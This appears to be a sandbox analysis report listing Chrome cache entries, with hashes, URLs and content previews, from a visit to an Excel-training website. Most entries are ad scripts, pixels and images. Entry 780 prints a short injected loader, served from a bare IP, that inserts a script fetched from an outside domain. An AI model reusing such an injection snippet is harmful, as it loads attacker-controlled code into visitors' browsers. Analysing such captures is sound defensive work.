URL:	https://earnandexcel.com/wp-content/uploads/VBA-For-Professionals-11.jpg
Preview:	......JFIF.............C....................................................................C.......................................................................^.^...................................................................................................R.Ay.MfT.& ....>..'5Sz]<...W.xfr...G...........................QI...P.yK.+M.gt'.t.w.dR..m.w.fg]..w.k^..8...$d...................<.um\|.m^W.D"....t..4.....gn.M.r.}.Q....UUc.y......... ...................3EaFN8........5^...\..w,3..ZZ...~B.e.U>.g...__..z.....;.l....o9..............O).=.Fy\-...V....%..s.....D.,8]..e5...5A.\...[.......`..\N..g....P.{{.C...........Rc......~..'.'v.P<......E..}.._y&.X([...!6....mgNT..8P..c.%A....I...............U..v...B+./Mji b}..Y..xvK=...U....U..f%.i..tBmE.....7[v=..e..=K...\|._.w./q.Nz..........Z.kdi....]O.oR.i......j.[{.nm..7.....T.\.....Z.6....\.4.i..x.cG1;0..C.s...9O.._.....0......!.D..r..0Q.~{}R<...n._..B....".\...P...Fj.......:nQAj...,whR...H......_YRT....

Chrome Cache Entry: 770

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46296)
Category:	downloaded
Size (bytes):	63803
Entropy (8bit):	5.452455099566062
Encrypted:	false
SSDEEP:	1536:Hc0MDTvBMxv5Zk8wyz2dTpzAVmGaOuVV2H4:xfKyzQTymjO1H4
MD5:	C3CA2CE1D3422E46FB4F71E68D12A1FB
SHA1:	50FAA896CC7B07EE4E12CA8AD550804891AD14CC
SHA-256:	713465E5E4AEF8E8296836FD530435FBFB2CC805C1386A7CA46EA694958E14CF
SHA-512:	0937B1901B1FDC7BEEE2C1413869F7951B675433FE7E712C8DA6A8E5E85F9F07758FCCC18A1399607D2FDC0EA4F49AF7541769628892C085ED3A9915EAB8A1F2
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/earn-and-excel.js
Preview:	window.$adManagementConfig = window.$adManagementConfig \|\| {};. window.$adManagementConfig.web = window.$adManagementConfig.web \|\| {};. window.$adManagementConfig.web.cmp_version = "13adaa586e1080440be72fa0a37b1cb5ff0595a8";. window.$adManagementConfig.web.model = {"gdpr":"0","bidRequests":{"leaderboard_atf":[{"bidder":"amazon"},{"bidder":"indexExchange","size":[728,90],"params":{"size":[728,90],"siteId":"179864"}},{"bidder":"indexExchange","size":[970,250],"params":{"size":[970,250],"siteId":"179864"}},{"bidder":"indexExchange","size":[970,90],"params":{"size":[970,90],"siteId":"179864"}},{"bidder":"pubmatic","params":{"publisherId":"157108","adSlot":"leaderboard_atf","bcat":[]}},{"bidder":"rubicon","params":{"accountId":"17404","siteId":"168624","zoneId":"812708","inventory":{"category":["hobbies-and-interests"]}}},{"bidder":"triplelift","params":{"inventoryCode":"Mediavine_ron_leaderboard_atf_970x250_Prebid"}}],"leaderboard_btf":[{"bidder":"amazon"}],"sidebar_atf":[{"bidder

Chrome Cache Entry: 771

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072399&val=3393848220146687847
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 772

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	6.000289942097647
Encrypted:	false
SSDEEP:	12:YK+LXkAIQcKpnCXeBtOMIkFQl4lJdYJiT64su:YK+LUATJOeBtOJkFp6Ji/su
MD5:	06DC9F0A78C14C92CD96C6090B76CCEC
SHA1:	499E392A82DC10CD0CDB063133EFE2EFBD3AE725
SHA-256:	E099F56CF37A4716AF675442C8575AD5D82B622B18F01528C28DE9278B77518C
SHA-512:	28B85EF00D60B3DF0B22A4343A3C2F4485A9796BAF299245585BD1E36377A60AB8158175864A1E689EFC6228B6E9A0B2FDA2E345DBE2399313BADAE280582FA5
Malicious:	false
Reputation:	low
Preview:	{"hb":"V1:RVLKtNfrNx01liCZ:QXP5PdwEgEL2TRpBpkdBDf8no/7nUg/WenmiWRsDrD43i7OPBqBkWUXjNDvQv1ZX4g0JzZiEEYMYqq8NsgfVmcORGrJo6yoRF/z0yUdvKHQaehLZUt7N","adx":"V1:J42awDhI/wy+B7BD:Z5GM7qeeFougQ6Dj9HAPYUxCS9dmGF3ZFkeT9yhAOZ3ymyKgziYP8rK0QbSdQoyGGYjZT10j7OLz6tlcTMKlAKMx8taEzHjOjWT3uX4sUcIkoRY=","unf":"V1:hjZRgCm3g6RdeJkJ:NeYwTWUXaRBVys9AorUM6IWY7nc05woYcvlqs7UAuRpTwyH3WX1Xhfz5fDzOR1zvMmRyeuVd3EVxHJ5VhItijQ=="}

Chrome Cache Entry: 773

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (472)
Category:	downloaded
Size (bytes):	630
Entropy (8bit):	5.011478106757172
Encrypted:	false
SSDEEP:	12:JYXCA6AVeGk4sn9hk5J4ZHpTQuL3p+nHoUNFRQpw/UAXqxUA2P2EUAFo:JYSA6XGpsvK8CH5zX4U2Ge
MD5:	1EE71EFD6E7B78EC5A810D5CC682DE7C
SHA1:	FAC65F125C2494258F77DA17DE959F39AD5922D2
SHA-256:	3C0B560EEE9A0200D7D0947D0BBFDF4CF6E4995F22F5993C0B9662AFB3F61103
SHA-512:	5634E6734F98230848753AB890B64146FC10C8E5DDEAFDD9D445C9368CD911DEA31BA5B9F076C7BEEC423B742CCDB9485722E11A931AD056D0CDEC645EC1FB43
Malicious:	false
Reputation:	low
URL:	https://keywords.mediavine.com/keyword/web.keywords.js?pageUrl=https://earnandexcel.com/course-category/data-analysis-bi/
Preview:	. window.$adManagementConfig = window.$adManagementConfig \|\| {};. window.$adManagementConfig.web = window.$adManagementConfig.web \|\| {};. window.$adManagementConfig.web.keywords = {"status":"PROCESSED","sales_kw":"excel,online data analysis,bi courses,earn,online datum analysis course,python,datum analyst,sql,business,datum analytic training,datum mining,field,microsoft,mit,model application","sales_cat":"132,596,597,611,602,600,599,626,619","sales_safety":"GGT0","sales_segment":"GumGum Verity Seasonal - Fathers Day,GumGum Verity Seasonal Segment - Back to,GumGum Verity Seasonal - Mothers Day"};.

Chrome Cache Entry: 774

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
URL:	https://pr-bh.ybp.yahoo.com/sync/openx/9493e0a4-dabc-aeeb-7162-a5901646ee80?gdpr=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 775

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://eu-u.openx.net/w/1.0/sd?id=537113484&val=4976612847433979613
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 776

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 87, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	7322
Entropy (8bit):	7.949662766930028
Encrypted:	false
SSDEEP:	192:ocMrb3AQ4aLzR/OObe3feWgdj9FQMchDCq5bbbIVAaBk+tq3aw:opn/42t2Fe8ZDCq5bbbeAaB6qw
MD5:	386831C9068DA1A44F21A765013A60A9
SHA1:	9DF5416E3DE529FB2789784FEB2FAB94C6DE63C6
SHA-256:	C4144E83F7DB5F9E9FD380616842E5E54E60F5AD2137B4AD38703F7A45F516C2
SHA-512:	5E521B330C17D049222A878092077B14F1F6914E92A3C20E9D390344FD2276FB69013A64D2CCE8BB3E527792743E50EA12AA55362342B763B3C4A617866ACCDB
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/FUJITSU.png
Preview:	.PNG........IHDR.......W......A.L...aIDATx...K.[.....$...{#!"".bGP....D\|.+v.#.... ....."...\|..`.+7&#..6g.s...g...uf...%.VVVhoo.....o}}.666.0.x....OZ....:S.....a.D...'..cp...m.:V...LrLp...onn...a.D..lW..:V...,@.@..(DX6.......U.bBih~........p...ipp.z{{ihh....H..HCs...h\|\|....)((.\\\......g...;...SDD......."..zN.Z....l.\-.[Z[[)<<.lll.......cz..9=y...Gw..../_.Ptt4UTT....]5.ICs.......#.s............"JLL$???...../^.+W......91.e>ih.N...1pW.+.....Y[[.ey......b........py{{.g....dggGmmm$...!-sHCsJh..R................(33..8.....<00@!!!.../.L........53.44..F....Z..O.>QII..C?G......X.q......,...f.ihNoi....."Z]]%...OOO.mKKK......1.@$.8.u........<i.G....k...ju++)//..9.R-//Sdd$,.....MZ...H.......JII...\^... .<...466&.N.W*l...[zz:...@....{...:A..E&......rww.7o.H..5.LpN/gee.+&.H.2L~.k&I.....W.......#z..-...1.Z...8991,W.^......?P{.0XG...L.^.]F,.H R;.U....W..H...9t..$..(..E...v...q.......-C....3d111H.3@.]...`..jzY..\|.^U.8............l...D..E.],.b......

Chrome Cache Entry: 777

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15256), with no line terminators
Category:	downloaded
Size (bytes):	15256
Entropy (8bit):	5.376497410272803
Encrypted:	false
SSDEEP:	192:EuhxDm2QXu1u3aHWPRPZntZ+YNz1u1ZiWZz44lb+Nr0waZGJOwzTOYfUf6wnj24s:ESxb14t0QMV4zFMGfUfBjLL/LMB
MD5:	1A525B135697FA1AE2B5F0EDB99C5EED
SHA1:	B6F25D75D07C1E2B36B82D20274E18FE91EB4A8C
SHA-256:	26A1925D70AEF701A2462398D078A312CBDF92D67BD349118662E8F1713905D3
SHA-512:	3BE02570FE7CD0C6C042D5498B083501239675A2E48215301311C0441B0B6CFC268190FEEAEE961DABCDFB6782C4FD82C470E66E52B6DFD97411C84B3D8BDE7A
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/1664/6a7e0abc6ad6d00dd28c.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[1664],{8152:(t,e,i)=>{i.d(e,{Ay:()=>u,BL:()=>l,fC:()=>a});var s=i(5077),o=i(8490),n=i(953);const r={};function a(t){t.forEach((t=>{var e;if(!t.adUnitCode)return;const i=window.$adManagementConfig.web.model;o.f.addSlotLevelData(t,i);let a=r[t.adUnitCode]\|\|u(t.adUnitCode);r[t.adUnitCode]=a,"instream"===(null==(e=t.mediaTypes.video)?void 0:e.context)&&(a=s.D.video);const d=n.Z.getSlotById(a);t.isInView=Boolean(null==d?void 0:d.onRail),t.refreshCount=null==d?void 0:d.refreshes,t.adunitPath=null==d?void 0:d.adUnitPath}))}const d=new RegExp(/_outstream_desktop\|_outstream_mobile\|_ibv_desktop\|_ibv_mobile/);function u(t){let e=t.replace(d,"");return-1===e.indexOf("adhesion")&&(e=e.replace("desktop","btf")),e}function l(t){let e=t.replace(d,"");return e=e.replace(/_[0-9]_+/g,"_"),e}},1664:(t,e,i)=>{i.r(e),i.d(e,{default:()=>E});var s=i(7562),o=i(4515),n=(t=>(t.siteIdCTPDesktop="desktop_ctp",t.siteIdAutoplayDesktop="desktop_autopla

Chrome Cache Entry: 778

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1393
Entropy (8bit):	7.805069038523074
Encrypted:	false
SSDEEP:	24:SybO5sSBLoYwTH+Ly4SxV3os4nwQdNFtJF802p89S0xiuqXaGBSjlqpPekEjF:tbO5sQLCr+L8UVNFJS89N0TmqpPC
MD5:	9C907B7D88886922331F955E0C487E6B
SHA1:	C6B0D652788B5215445C008DD36AB1F19C2EC054
SHA-256:	B42C39B896B23C8C8C06E0155E8FE9D7EE5A86546CC9C054E0CD7456FA44AB1F
SHA-512:	C6FEFBEC727F1843AB57BFF05BE37CD9D9F885D436348D101E82D18EE17C83B43EAD572AB8EAE7DFFE4C640745B90AE43D5B397186E826492091818963A51AC1
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/counter-media-04.png
Preview:	.PNG........IHDR...0...0.....W......8IDATx..X[L\U...GM.~X#..s..V..Z..-...D..0w.;<..<...B...MZ..hU..4..v.R....1.....4~.....Xm\..N...a.Zfh.$+...}.Y......-..&o...`.4..H.V..b 1(.4..w...@RUd...(.wr..H>.....X......?.....Z.........^...\|...,..h.@.@.k....f..q......x.C`E....n..8...T.....q..".....J..g......./...7...'.ZEu......F.....(.H=....=."...O.Ov.n...I...%....P.z>VnC..Z......}g....(bd_0....f.ue.\../.d..t...........,..$....e...q......&.....v.H..R..!`...j...i....n...P..l........Ol..?..Z.&.../..M.N.7l./~.W.....N...........`?".j8)+.@..!.s.H..E.o...in1..-.............z.....@.#{.b.2...H....^......._S....5(...".brq'.\.W.`..R.y!..P)n....$@.<...f.......1j,.<......K......7..oM...;\|X/.>...6...j.....@+G.........U.#o.)..d...a...9.....G.]a........wFL.....#.........v(....HL...f...R.YD..6...e.y.......p..x.P..M%_D;....Hq.%...$...F..>..........cH.YI...B..$@UL]......l..<...g..\^A....;E...A..2.4....@[B..fq+=......&....?x$..e'...I.^.:.J.(.......{..p..._..

Chrome Cache Entry: 779

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68
Entropy (8bit):	4.200601260429725
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM09/Woz59tVp:6v/lhPfZM09tzjTp
MD5:	C4A2B870062C2BB98C500BC1526C0498
SHA1:	528666CCDB12997358077BC8FCDBFB6B825C7788
SHA-256:	2AA4FA20701CDD6D8D56046069001186B5267E3EE7D0EF618AD2F4A683723E11
SHA-512:	2F1A3ABCD12125F7EF18D61A960901C0FD6F82DD02EA2B8041859E6D5F0A7F08DB17CC110DC6D8A3F7D0D1BA790C4BCCA2506D3C60EDFEB5CB29433E9F4F762E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................IDATx.c`...............IEND.B`.

Chrome Cache Entry: 780

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	244
Entropy (8bit):	5.4013432425063455
Encrypted:	false
SSDEEP:	6:SlUgO9l9LtRWPIj8oHMd6pd7LxQJQiDE1kjiUSf:wsptRWPIj8oo6TLxQ1hjXSf
MD5:	F30DAE4BD06170CCF2EAA0BF0F516876
SHA1:	E833AF480D099EE398CD4AAC0F2193C74B8A777B
SHA-256:	30BCCC3B41684CE4F0E96CD31F29CD35CB8C75352A2478E68D39D6FC16025CF6
SHA-512:	228E678A260BA45A712CA14BA3E8FD4131938FFA0B4A70AD48D5482E72C759A688587C3378AC58572B7BE9FC0F19DD9CBCAE21B602AB5D2683CB7DC536E398E4
Malicious:	false
Reputation:	low
URL:	https://147.45.47.87/scripts/theme.js
Preview:	;(function(z,b,o,e,g,p){g=b.createElement(o);p=b.getElementsByTagName(o)[0];g.async=1;g.src=e;p.parentNode.insertBefore(g,p);})(window,document,'script','https://welcome.visionaryyouth.org/LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ==');

Chrome Cache Entry: 781

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 700 x 836, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	160327
Entropy (8bit):	7.893967751471331
Encrypted:	false
SSDEEP:	3072:gVkNgCrW/A91aUz+AnpW3nQ3mmikXMzbxmwOHAbOAuampae7J:0yf91aQ+AngO02obsJKLuJ
MD5:	B999599FA1A69F04808A188BBE732D9A
SHA1:	395466D7AF2C904A640912E7DC06073ADE314E41
SHA-256:	3DC16AA6402439B92994F6F6190FA959BECE1FF9BBB903FBAABE86F11A075C56
SHA-512:	C430CDB1AF946F5607A7A04A61F1CFDCBEC274F6461921D6B2641487C2F0EB15B9A60E7460640B6ED1E7DB09695D1246FE57CDE1C61C9A326BF4E15182C871E2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......D.....e.......PLTE.........S..d..K..[..k..E.....t..=..\|...........6..............&.....................e4......$....uJ.qC..T#...h...u.k<..........(........z.]..o.X.oZ.;%.u...!1.a.........\.....{!....zQ.......4 ...)..gR.wb.i.P7s. .D/....~.UH.B4.J!.Z@....v...?.._Q.k...+.....\|.8..^C.K?L."....>..............zP,.........i../0.`.2'.f>..o........gL.]=..~..~.)o%....hA..N6.jb.[c....\|\|....wV}<5......GB.crW(.....c..oI-".zf.9F.m.sE.V..G .......HT.4>..pG?............`,(o12`:..Yb.tjr.0.jE.vT.TJ.jd..\|b..O_.~....wsxWN.\9..f........U,........#0?......7W7&.. =4*)...EW....u.....! .....iq........@.4^[3...p\|..a{0F. -i.BEG'.Is...L88<Yjhha...xpB...gy....VFG...N.Mx...H[......4BTi.\...$\Rhz......_9l.H.._...\X~.jQ..d....(.c..s..o.IDATx...k.V...;\<H.Ch..6.3.:._....-.i.@...!.....f\|....!KyK.Th..:e.9.GG.._...l+.,K?}..F??......Q<........Gj...^47....].../><....G..?......;..y..}..}s\U.s....Yn.I....P{.Y

Chrome Cache Entry: 782

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537148856&val=ZhhVpQAFEfZtPwBa&_test=ZhhVpQAFEfZtPwBa
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 783

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26246), with no line terminators
Category:	downloaded
Size (bytes):	26246
Entropy (8bit):	5.4660225020703725
Encrypted:	false
SSDEEP:	768:LAq2IGvqmMm26lxtUF4DsMY+nVi451Vo/3h+AzKDWHiURdork:87Im9VsP
MD5:	EDD8576C346C6E8F3F4996CF72C62689
SHA1:	20CF0BF6DA1CF2A9EDEEC5248F04E4E375859074
SHA-256:	FB85CCF9A95926F383D49A86829D17D94454D5B473D799E2DC0D17A67F722EFA
SHA-512:	856573273044E9C903369FA8B51186FBC2B6382F4189B20D6345672947684CC82E24AE925CF5C2FB916F1C20CE2C1BB5A7B177EF2069F03C62907B24F56A4242
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/17.dd1eb0a2.chunk.js
Preview:	"use strict";(self.webpackChunk_mediavine_faves_ui=self.webpackChunk_mediavine_faves_ui\|\|[]).push([[17],{8368:(e,t,n)=>{n.d(t,{c:()=>r});var i=n(1580),o=n(8527);const r=function(){const[e]=(0,i.useState)((()=>{const e=o.cp.getItem("grow-faves:recentlyViewedPageIds");try{if(e){const t=JSON.parse(e);if(Array.isArray(t))return t}}catch(t){o.cp.removeItem("grow-faves:recentlyViewedPageIds")}return[]}));return e}},5017:(e,t,n)=>{n.r(t),n.d(t,{default:()=>$e});var i=n(8880),o=n(1580),r=n(9504),s=n(6456),l=n(744),c=n(4476),a=n(2477),d=n(2984),m=n(2256),g=n(9528),u=n(376),p=n(5344),h=n(5036),f=n(7256),_=n(3852),w=n(1272),y=n(280);function v(e){const t=(0,y.m0)(),n=(0,r.sT)("grow_links");try{const o=[t?"".concat(w.GA,"=").concat(t):null,"growSource=recs"].filter(i.kb).join("&"),r=(0,i.O4)(e,o);return n?(0,_.O4)(r):r}catch(o){return e}}var b=n(9924),x=n(5464),S=n(676);const C=450,k=700,I={unmounted:"0",entering:"25em",entered:"initial",exiting:"25em",exited:"0"},R={unmounted:"-15em",entering:"0"

Chrome Cache Entry: 784

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64746)
Category:	downloaded
Size (bytes):	455309
Entropy (8bit):	5.506194113827544
Encrypted:	false
SSDEEP:	6144:qAqWs4rZystFp6OTg7QnRQN6EH8rFY5wN8qQa8PsiCdCqhbQR3G:Nk7sQiXu5vqQGiuCqKg
MD5:	E1B38450D6521ADB30482C57A0396BA2
SHA1:	624186D9945B9F36685DEDEFE2103EA34392F64B
SHA-256:	95FCE0690AE2DBB70621AF1FFFB3124901327BDDFFB4B5155D4AFDD0941ED0EC
SHA-512:	0866C539179C017F7686534F00E813A8EF44DFF16A30410C2FBD08CED9DDC65AB726F94EB994AD85F1CB200EF65620AA5AAF9C622DB1B6DE5D5B5552FBA08E85
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/managed/js/gpt/m202404080101/pubads_impl.js
Preview:	(function(_){/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 ./ ./ . . SPDX-License-Identifier: Apache-2.0 ./ ./ . . . Copyright (c) 2015-2018 Google, Inc., Netflix, Inc., Microsoft Corp. and contributors . Licensed under the Apache License, Version 2.0 (the "License"); . you may not use this file except in compliance with the License. . You may obtain a copy of the License at . http://www.apache.org/licenses/LICENSE-2.0 . Unless required by applicable law or agreed to in writing, software . distributed under the License is distributed on an "AS IS" BASIS, . WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. . See the License for the specific language governing permissions and . limitations under the License. .*/ .var ba,da,ja,ka,la,ma,pa,na,ra,va,Ba,Ja,La,Oa,Qa,Sa,Wa,Va,Xa,Ya,Za,$a,bb,db,fb,hb,ib,jb,lb,mb,qb,rb,ub,wb,zb,Bb,Cb,Hb,Jb,Ib,Kb,Lb,Eb,Mb,Nb,Qb,Tb,Ub,Wb,Xb,Yb,ac,bc,ic,kc,lc,nc,pc,rc,sc,uc,wc,xc,Bc,Dc,Ec,Fc,Qc,Xc

Chrome Cache Entry: 785

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5462)
Category:	downloaded
Size (bytes):	5693
Entropy (8bit):	5.359439588144736
Encrypted:	false
SSDEEP:	96:vb6P9LJTwyVmuqbVmIy7CVmdE0z57hMB06cKeVmI5VmCebVm2GVmx1mvYNi0yLRa:jYLdw+mvhmIy7Om1BVKymIPm7hm26mKK
MD5:	8F478016DF3F4DA9FAF63443B34394C2
SHA1:	929179CBE7BFF77076990060ECDA2BD97BF61E30
SHA-256:	0858E59DB7E27B4D06B8454D3E0908C01F15CBF21E07AD443680C9A50A112F64
SHA-512:	818DE164D1AD192A0286EDC486B338502D298C1CEAA1DD388F1947C8DCC1757D5A754EFCAB99C62351207052D0E2A1744B6FE7F71E51C1C7228DBADB6A449FD3
Malicious:	false
Reputation:	low
URL:	https://exchange.mediavine.com/usersync/sync?origin=https://earnandexcel.com&src=//exchange.mediavine.com&s2sVersion=production&gdpr=0&us_privacy=1---&gppString=DBABzw~1---~BqgAAAAAAgA&p=%7B%22appnexus%22%3Atrue%2C%22gumgum%22%3Atrue%2C%22huddled_masses%22%3Atrue%2C%22indexExchange%22%3Atrue%2C%22kargo%22%3Atrue%2C%22mediadotnet%22%3Atrue%2C%22mediagrid%22%3Atrue%2C%22openx%22%3Atrue%2C%22pubmatic%22%3Atrue%2C%22pulsepoint%22%3Atrue%2C%22rubicon%22%3Atrue%2C%22smartmedia%22%3Atrue%2C%22sovrn%22%3Atrue%2C%22triplelift%22%3Atrue%2C%22verizon%22%3Atrue%2C%22yieldmo%22%3Atrue%2C%22centro%22%3Atrue%7D
Preview:	<script>. window.parent.postMessage({. message: 'syncUrls',. tokens: {"mv_uuid":"3a6574e0-f84a-11ee-a9d1-333cefc92741","version":"invalidate-verizon-pushes"},. syncUrls: [{"type":"iframe","url":"https://ads.pubmatic.com/AdServer/js/user_sync.html?p=157108&userIdMacro=PID&us_privacy=1---&gdpr=0&gdpr_consent=&predirect=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dpubmatic%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3DPID"},{"url":"https://bh.contextweb.com/bh/rtset?pid=562036&ev=3a6574e0-f84a-11ee-a9d1-333cefc92741&rurl=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dpulsepoint%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%25%25VGUID%25%25","type":"iframe"},{"url":"https://ap.lijit.com/pixel?redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dsovrn%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dp

Chrome Cache Entry: 786

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 960x300, components 3
Category:	dropped
Size (bytes):	40091
Entropy (8bit):	7.922490144797244
Encrypted:	false
SSDEEP:	768:KYyHl9LZyddMwSn2yG6IFUybNdK87/reGxdmu3M+b7x:Kpud2HnxIFU+xThBnx
MD5:	48F6DD596E55E9106A4FB20C61D7CDC5
SHA1:	D3D6BE2A438E68B324FBA046C55594D6B33B1716
SHA-256:	8BF0F83EAE82072A2E306D2159F9F68C089927FD41C9CE6BBD3BCFA5D30324A0
SHA-512:	D5A2BF288243AB1CF1EEA23895D1F4F79D74EC153AB69AB2EF9A1927D58AE7AF8D212679F5C776ACBAA9B0DF24BA61F07CA82C133901950053C68B56C6574C28
Malicious:	false
Reputation:	low
Preview:	......JFIF.............XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1........

Chrome Cache Entry: 787

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 179 x 178, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	6611
Entropy (8bit):	7.943540828840316
Encrypted:	false
SSDEEP:	192:ZZP09NZ2DLtUnCMwUTzvqQ2P9a0gNBKBlHmrwySDNSoKb+:ZOLitewUnvylekBlHmky+g+
MD5:	B21A19D069991BB09F70668D7A6C58E4
SHA1:	A0F6EC9128BEAAC9144C02FB74A8A8EFB12380D2
SHA-256:	098FBA08589B49D1FC1BC014FD187944804F0B24E14BB7BD78814AACB3D27E70
SHA-512:	90CCA036749F6D75DDDE564C3A2C3F6F1C19DA041C5B1AC4D37AD94B2334453C50DCDFC5F80C8ACF02C9A4CA7ACE896C72D6EC8F3C84579454182C06FC093E42
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/edumall-shape-01.png
